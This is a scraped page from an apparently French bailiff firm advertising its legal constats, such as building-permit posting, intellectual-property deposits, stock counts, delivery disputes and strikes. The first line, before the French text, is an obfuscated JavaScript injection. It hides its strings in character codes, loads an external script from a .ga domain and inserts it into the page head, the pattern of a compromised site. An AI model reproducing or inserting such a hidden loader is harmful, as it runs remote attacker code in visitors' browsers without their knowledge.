Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,109,102,97,46,100,101,99,108,97,114,101,98,117,115,105,110,101,115,115,103,114,111,117,112,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

En vertu de l’article R.600-2 du Code de l’Urbanisme que le point de départ du délai de recours contentieux à l’encontre d’un permis de construire, qu’il soit explicite ou tacite ou d’une déclaration préalable, est le premier jour de l’affichage sur le terrain, pendant une période continue de deux mois. Par ailleurs, l’article R.424-15 du même code qui précise ses modalités, indique que doit également être affichée sur le terrain l’obligation prévue à peine d’irrecevabilité, de notifier tout recours administratif ou tout recours contentieux en application de l’article R.600-1 susvisé. Au regard de ces dispositions, l’absence, sur l’affichage, de la mention de cette condition procédurale fait obstacle à ce que soit opposée à l’auteur du recours l’irrecevabilité prévue par cet article.

Dans un souci de sécurité juridique du permis ou de la déclaration dont vous êtes bénéficiaire, il vous appartient de veiller strictement à la régularité de l’affichage sur le terrain et d’être en mesure d’en apporter la preuve, si nécessaire. Il est donc vivement conseillé de faire constater par un Huissier de Justice la réalité de l’affichage sur place :

• le premier jour de l’affichage (sur place et en Mairie)

• le 30ème jour

• le 60ème jour

Le défaut d’affichage ou la preuve non rapportée de celui-ci peut bloquer voir retarder considérablement le début des travaux.

« Le panneau rectangulaire et dont les dimensions sont supérieures à 80 cm (article A.424-15 du Code de l’urbanisme), doit être « installé de telle sorte que les renseignements qu’il contient demeurent lisibles de la voie publique ou des espaces ouverts au public pendant toute la durée du chantier » (article A.424-18 du Code de l’Urbanisme).

Concrètement, cela signifie que le panneau doit être visible par les riverains ».

Ce constat a pour but de sauvegarder vos intérêts dans le cadre de la propriété intellectuelle, des droits d’auteur.Il va donner un date certaines à votre œuvre.En cas de copie, contrefaçon, le  Constat de dépôt de dessins et modèles établi par un huissier de justice pourra vous permettre de justifier de votre création et son antériorité.Nous pouvons recevoir et garder vos œuvres sous différentes formes (vidéos, photos, textes, cd-rom …) des scellés seront apposés par l’étude.
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L’Huissier de Justice avec le procès-verbal de constat va vous assister lors de toute vos assemblées et prouver leurs existences et leurs contenues (personnes présentes, sujets abordés…votes)

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Lors de la clôture de votre exercice comptable, L’Huissier de Justice avec le procès-verbal de constat va vous permettre de certifier l’état de votre stock à l’instant « T ». L’Huissier de Justice avec le procès-verbal de constat peut également assister si besoin aux opérations de destructions de matériels.

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Constat de panne machine / système informatique établi par huissier de justice

Le non fonctionnement ou le mauvais fonctionnement d’une machine crée pour l’entreprise un préjudice considérable qui demande réparation de la part du fournisseur.

L’Huissier de Justice avec le procès-verbal de constat va vous permettre de protéger vos droits et d’engager si besoin toute poursuites (amiables ou judiciaires) afin d’obtenir réparation.

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La livraison  de matériel est conflictuelle ou pose un problème (non-conformité, retard de livraison …….). L’Huissier de Justice avec le procès-verbal de constat va vous permettre de protéger vos droits et d’engager si besoin toute poursuites (amiables ou judiciaires) afin d’obtenir réparation.

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A la fin du chantier, l’Huissier de Justice avec le procès-verbal de constat va vous permettre de protéger vos droits. Il va dresser un état objectif et précis des travaux effectués. Ceci vous permettra d’engager si besoin toute poursuites (amiables ou judiciaires) afin d’obtenir réparation.

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Le sous-traitant qui quitte son chantier sans avoir terminé celui-ci vous créé un préjudice important.

L’Huissier de Justice avec le procès-verbal de constat va vous permettre de protéger vos droits et d’engager si besoin toute poursuites (amiables ou judiciaires) afin d’obtenir réparation.

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L’entreprise qui a déposé un brevet, possède un droit. La contrefaçon de son savoir lui crée un préjudice.

Avant d’engager une procédure judiciaire de saisie contrefaçon, l’Huissier de Justice avec le procès-verbal de constat va vous permettre de protéger vos droits. Ceci vous permettra d’engager si besoin toute poursuites (amiables ou judiciaires) afin d’obtenir réparation.

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Le droit de grève est un droit que tout salarié peut exercer.

Il fait partie des acquis sociaux.

Néanmoins, le droit de grève ne permet pas aux grévistes d’endommager des matériels ou des locaux, ou encore, de séquestrer des personnes physiques relève du domaine des délits et voies de faits, d’entraver la liberté  des personnes et des biens.

En qualité de Chef d’entreprise, même en période de grève, votre responsabilité est engagée quant à la préservation des biens et des personnes.

Le procès-verbal de constat de grève, en faisant état des débordements observés, va considérablement dégager votre responsabilité en apportant la preuve que ces dérives sont le fait d’éléments incontrôlables.

D’autre part, et ceci à titre préventif, la présence d’un Huissier de Justice dans l’enceinte de l’entreprise aura toute chance d’avoir un effet dissuasif à l’encontre de ceux qui seraient tentés de céder à des actions répréhensibles.

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